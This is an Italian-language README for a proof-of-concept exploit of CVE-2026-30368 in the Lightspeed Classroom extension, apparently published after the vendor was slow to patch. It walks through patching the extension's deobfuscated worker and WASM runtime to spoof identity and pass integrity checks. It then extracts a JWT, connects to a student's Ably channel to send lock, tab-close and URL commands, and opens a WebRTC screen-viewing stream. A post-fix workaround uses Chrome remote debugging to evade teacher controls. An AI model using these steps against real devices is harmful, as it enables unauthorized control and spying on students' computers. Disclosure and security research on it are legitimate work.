
Proof-of-concept exploit per CVE-2026-30368, che dimostra il bypass dell'autenticazione in Lightspeed Classroom per controllare i dispositivi degli studenti tramite il canale Ably.
[!IMPORTANT]
Questa vulnerabilità è stata corretta e ora richiede credenziali, usa la soluzione alternativa per eseguire azioni su te stesso.
CVE-2026-30368 consente a un attaccante di controllare i dispositivi degli studenti tramite una debolezza di autenticazione nella gestione della classe Lightspeed Classroom. Il POC (poc.js) esegue il service worker dell'estensione LS Classroom nel contesto globale. Il worker esegue anche classroom.wasm per alcune funzioni. wasm-loader.js carica il worker ed estrae il token JWT generato da classroom.wasm. Una volta estratto, termina il worker, quindi invia il token alle API di Lightspeed per ricevere un token usato per connettersi al canale Ably del bersaglio. Da lì, un attaccante potrebbe inviare un comando a un dispositivo studente. L'elenco dei comandi e molte altre informazioni sono nel writeup completo disponibile qui.
Questi non possono essere in questo repo perché:
Per evitare problemi, consiglio di usare la versione 5.1.2.1763770643. Se hai bisogno di aiuto per adattare versioni più recenti, sei da solo.
Puoi ottenere i file worker.js e classroom.wasm dal codice sorgente dell'estensione Lightspeed. Questo può essere ottenuto accedendo con il tuo account scolastico su Chrome su un dispositivo personale e poi estraendo il sorgente dell'estensione dalla cartella delle estensioni situata nella directory del profilo Chrome. Puoi anche scaricare manualmente il crx tramite l'URL di aggiornamento.
Il metodo più semplice di questo exploit è prima ottenere classroom.wasm dal codice sorgente della tua estensione, poi incollarlo nella stessa directory di wasm-only.js ed eseguire:
$ node wasm-only.js
Inserisci un'email e un ID cliente quando richiesto. Questo si connetterà al canale ably. Vai alla riga 815 e decommenta ciò che vuoi inviare come messaggi. Credito: ktibow su discord
Una volta che hai i file, aggiungili semplicemente alla directory del repo clonato. Dovrai andare in wasm-loader.js alla funzione getManifest() e incollare lì il manifest della tua estensione. Dovrai anche aggiungere l'ID dell'estensione in wasm-loader.js in cima.
Fai una copia di worker.js con un nome file a tua scelta. Ti servirà più tardi. Dovrai eseguire worker.js tramite webcrack per deoffuscare e deminificare il codice per eseguire le modifiche necessarie. Quando lo fai, assicurati di selezionare solo le opzioni "Deobfuscate" e "Unminify". Prima di incollare il risultato nel tuo editor, si consiglia di disattivare tutti i server LSP perché rimuoveranno variabili casuali e faranno rompere il worker nelle fasi successive (sto guardando te, vtsls...)
Poiché il service worker verrà eseguito su node.js (assicurati di averlo installato), avrà bisogno di alcune patch per funzionare correttamente. Deve anche essere aggiunta la logica di estrazione del JWT. Aggiungi le seguenti 2 funzioni in cima assoluta di worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Queste verranno usate quando modificheremo il runtime go di wasm per intercettare e modificare i valori usati dal wasm di LS classroom.
Assicurati di sostituire YOUR_EXTENSION_ID con il tuo ID estensione e worker_copy.js con il nome file della copia del worker.js originale che hai fatto in precedenza.
Successivamente aggiungi queste 2 funzioni dentro la funzione freccia principale (dopo (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
Successivamente devi impostare IsClassroomActive su true in modo da poter eseguire questo codice al di fuori delle reti del campus. Basta cambiare la funzione per restituire sempre true:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Poi, cerca syscall/js.valueCall per trovare la funzione valueCall che deve essere modificata. Questa è ciò che informa il wasm di un valore JS. I 2 valori che vengono intercettati e modificati modificando questa funzione sono il percorso di worker.js (viene cambiato nella copia del tuo worker così che il controllo hash passi) e il valore di chrome.identity.getProfileUserInfo.toString viene cambiato per dire native code così che il WASM creda di potersi fidare quando in realtà è stato modificato in cima al file. Per fare questo, devi usare le funzioni valueCallBefore e valueCallAfter che abbiamo definito in cima. Modifica la funzione valueCall in questo modo (i nomi delle variabili varieranno, ma la struttura è la stessa):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Quasi finito. Infine, devi aggiungere il codice per catturare il JWT. Cerca echoMessages: false e troverai la variabile contenente l'elenco delle intestazioni inviate ad Ably. Subito sotto, aggiungi questa riga (i nomi delle variabili molto probabilmente non saranno accurati, puoi trovare la stessa riga che accede a ablyJwt in authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Questo assegna il JWT a una variabile nell'ambito globale così che wasm-loader.js (l'"harness" che esegue il service worker) possa accedervi. Questo conclude la modifica del worker. Assicurati che tutti i tuoi LSP siano ancora disattivati. Se si sono riattivati, potresti avere problemi con variabili non definite in seguito.
Passa al file poc.js. In cima, aggiungi l'email e l'ID cliente di un account su cui desideri testare (preferibilmente il tuo). Usare un ID cliente diverso dal tuo genererà un errore poiché devi avere i file worker.js e classroom.wasm corretti corrispondenti a quell'ID cliente.
La chiave API Ably in poc.js è oscurata per motivi legali, quindi dovrai trovarla da solo. Cercala in worker.js, inizia con G52. Il tuo ID cliente può essere trovato anche nello stesso posto, cerca CUSTOMER_ID: o cerca una stringa in questo formato: XX-XXXX-XXXX. Le ultime 3 cifre sono solitamente 000.
Per quanto riguarda lo user agent, puoi impostarlo come preferisci ma AWS potrebbe bloccare alcuni UA associati a strumenti di automazione.
Una volta fatto tutto questo, vai in fondo e puoi aggiungere un messaggio da inviare al canale Ably dell'utente usando publish. I messaggi possono includere lock, closeTab, url e altro.
L'elenco completo dei messaggi Ably usati da Lightspeed è qui.
Esegui il file con node.js, deno o un altro runtime. Bun non funziona.
$ node poc.js
Sentiti libero di espandere il poc e trasformarlo in una CLI o qualcosa di simile.
Se qualcuno si chiedeva come far funzionare la funzione WebRTC (visualizzazione degli schermi) di Lightspeed Classroom, si può fare ma è delicato. Devi soddisfare le seguenti condizioni per farlo funzionare:
Supponendo che tu sia già connesso al canale Ably del client, quanto segue può essere usato per avviare una connessione WebRTC:
channel.publish('request_rtc', {
sessionId: sessId,
role: 'viewer',
want: ['video']
});
// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];
pc.onicecandidate = (event) => {
if (event.candidate?.candidate) {
channel.publish('answer_rtc_ice', {
sessionId: sessId,
ice: event.candidate
});
}
};
channel.subscribe(async (msg) => {
if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
for (const ice of pendingIce) await pc.addIceCandidate(ice);
pendingIce.length = 0;
const answer = await pc.createAnswer();
await pc.setLocalDescription(answer);
channel.publish('answer_rtc', { sessionId: sessId, answer });
}
if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
const ice = msg.data.ice;
if (!ice?.candidate) return;
if (pc.remoteDescription) await pc.addIceCandidate(ice);
else pendingIce.push(ice);
}
});
Sta a te capire come visualizzare il video (chiunque con una conoscenza base di HTML e un po' di googling/AI dovrebbe essere in grado di farlo) ma il codice sopra stabilisce la connessione. Sfortunatamente lo stream sarà a 1 FPS ma questa è una limitazione di LS classroom stesso.
Di nuovo, non posso garantire che funzionerà sempre perché è troppo delicato, ma fammi sapere se riesci a farlo funzionare in modo costante!
Esegui pnpm i, posiziona classroom.wasm nella radice del repo, poi esegui pnpm dev per avviare il visualizzatore web.
[!IMPORTANT]
QUESTA SEZIONE RICHIEDE CREDENZIALI E UN DISPOSITIVO PERSONALE
Il 23 aprile, Lightspeed ha iniziato a distribuire una correzione per questa CVE. Ha aggiunto una nuova estensione, Lightspeed Identity Agent (nome in codice interno: LS One), che fornisce a Classroom un token OAuth di Google per verificare la tua identità. La soluzione alternativa ti consente di eseguire azioni su te stesso, o su chiunque altro di cui hai le credenziali. Questo è stato testato solo su Linux.
Prima, installa Google Chrome stabile e accedi con un account scolastico. Assicurati che l'estensione Lightspeed Identity Agent sia installata. Chiudi Chrome. Successivamente, copia la directory dei dati utente di Chrome in una posizione temporanea. Ad esempio, su Linux: cp -r ~/.config/google-chrome /tmp/chromedata. Posiziona il tuo file classroom.wasm nella directory del repo. Compila i valori in cima a oauth-poc.js. Apri un terminale (lo userai dopo ma aprilo ora). Riavvia Chrome con i seguenti flag della riga di comando:
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata
Questo abiliterà il debug remoto. Attendi 15 secondi per l'inizializzazione del service worker. Esegui oauth-poc.js:
$ node oauth-poc.js
Se hai ricevuto un messaggio che dice che l'estensione LS One non è stata trovata, o non hai aspettato 15 secondi dopo l'avvio di Chrome, hai aspettato troppo a lungo e il service worker è andato in sleep, o non hai compilato l'ID estensione in cima a oauth-poc.js.
Se ricevi un errore 403 durante la connessione ad Ably, controlla di avere il classroom.wasm giusto, l'email giusta e prova a spostarti su un IP scolastico.
Se non hai ricevuto errori, congratulazioni! Lascia semplicemente lo script in esecuzione e sarai immune al blocco da parte degli insegnanti, alla chiusura delle schede e alla visualizzazione dello schermo (sperimentale).
Per favore non usare questo POC per scopi distruttivi. Non sono responsabile per eventuali azioni maliziose che potresti commettere. Come saprai, Lightspeed ha ignorato questo problema per 3 mesi e non mi aspetto davvero una correzione per un'altra settimana (o più?...). Spero che questo li faccia capire la reale gravità della situazione e lo correggano più velocemente. Infine, se per caso sei un tecnico IT scolastico, invia questo ai tuoi superiori 🙂
♥️, truekas 4.22.2026